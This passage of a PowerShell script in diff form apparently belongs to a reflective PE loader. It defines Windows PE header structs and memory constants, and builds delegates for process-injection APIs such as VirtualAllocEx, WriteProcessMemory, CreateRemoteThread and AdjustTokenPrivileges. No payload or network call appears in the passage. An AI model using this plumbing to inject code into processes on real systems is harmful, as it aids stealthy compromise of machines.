$IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null + $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 + + #Struct IMAGE_OPTIONAL_HEADER32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 + + #Struct IMAGE_NT_HEADERS64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null + $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 + + #Struct IMAGE_NT_HEADERS32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null + $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 + + #Struct IMAGE_DOS_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) + $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null + + $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) + $e_resField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null + + $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) + $e_res2Field.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null + $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER + + #Struct IMAGE_SECTION_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) + + $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) + $nameField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER + + #Struct IMAGE_BASE_RELOCATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null + $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION + + #Struct IMAGE_IMPORT_DESCRIPTOR + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null + $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR + + #Struct IMAGE_EXPORT_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null + $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID + + #Struct LUID_AND_ATTRIBUTES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES + + return $Win32Types + } + + Function Get-Win32Constants + { + $Win32Constants = New-Object System.Object + + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 + $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 + $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 + + return $Win32Constants + } + + Function Get-Win32Functions + { + $Win32Functions = New-Object System.Object + + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc + + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx + + $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy + $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) + $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset + + $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA + $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) + $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary + + $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) + $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress + + $GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) + $GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal + + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree + + $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx + $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx + + $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect + $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect + + $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA + $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) + $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) + $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle + + $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary + $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr]) + $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary + + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess + + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject + + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory + + $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory + $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory + + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread + + $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread + $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) + $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread + + $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken + $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) + $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) + $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) + $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) + $LookupPrivilegeValue = 